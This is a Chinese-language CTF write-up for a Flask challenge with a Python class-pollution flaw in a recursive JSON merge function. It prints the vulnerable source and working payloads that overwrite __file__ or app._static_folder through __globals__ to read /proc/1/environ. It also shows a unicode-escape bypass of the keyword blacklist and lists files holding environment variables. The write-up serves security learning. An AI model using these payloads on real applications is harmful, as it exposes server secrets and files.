分析(DONE)
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)原型链污染,in似乎无法递归判断,密码存在内存中,没有admin –> 实际中in是由递归判断的
目的和注入点是open那里,难道可以命令执行吗在这里,看不到触发点啊,先从open出发,毕竟明显
那么可以覆盖
__file__
然后读取flag文件?这里__file__
可以通过全局变量直接覆写,就是本模块的命名空间中的内容payload
- 可以测出来是过滤了
__init__
,其他都保留了 - 没有找到flag文件,读取环境变量
/proc/1/environ
和/proc/self/environ
中都读,是前一个个
1
{"username":"hello","password":"admin","__class__":{"check":{"__globals__":{"__file__":"/proc/1/environ"}}},"11tadbx0ae9b":"="}
- 可以测出来是过滤了
补充
环境变量
常见环境变量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# 环境变量是以空字符(\0)分隔的字符串形式存储的,只读的,不能修改
/proc/1/environ
# init 进程的 PID 为 1,它在系统启动时由内核启动,并且在整个系统运行期间一直存在
# 包含了 init 进程的环境变量
/proc/self/environ # 这个文件包含了当前进程(即执行该命令的进程)的环境变量
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.bashrc
/etc/bashrc
*编码绕过
- 虽然这里使用的是通过check函数对象的
__globals__
属性来获取全局变量,但是也可以通过编码进行绕过,涉及到python中的unicode- 在 Python 3 中,字符串默认是 Unicode 字符串,使用 str 类型表示。你可以直接在字符串中使用 Unicode 字符
- 这里源码中有一个
json.loads()
是从字符串转换的,刚好可以利用__init__ # \u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F
*静态目录写入 -> 一个很不错的思路
先看一眼payload吧
1
2
3
4
5
6
7
8
9
10
11{
"username":1,
"password":1,
"__init\u005f_":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
}
}Flask app 全局变量
- app 是 Flask 应用的实例,是一个 Flask 对象。通过创建 app 对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。
- Flask app实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route 装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。
- app 对象包含了大量的功能和方法,例如 route、run、add_url_rule 等,这些方法用于处理请求和设置应用的各种配置。
- 通过 app.run() 方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求
_static_folder 全局变量
- _static_folder 是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。
- 静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
- 在 Flask 中,可以通过 app.static_folder 属性来访问_static_folder,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static 文件夹中。
- Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像
利用原理:
/static/proc/1/environ
:由于”_static_folder”:”/“把静态目录直接设置为了根目录,所以根目录下/proc/1/environ
可以通过访问静态目录/static/proc/1/environ
访问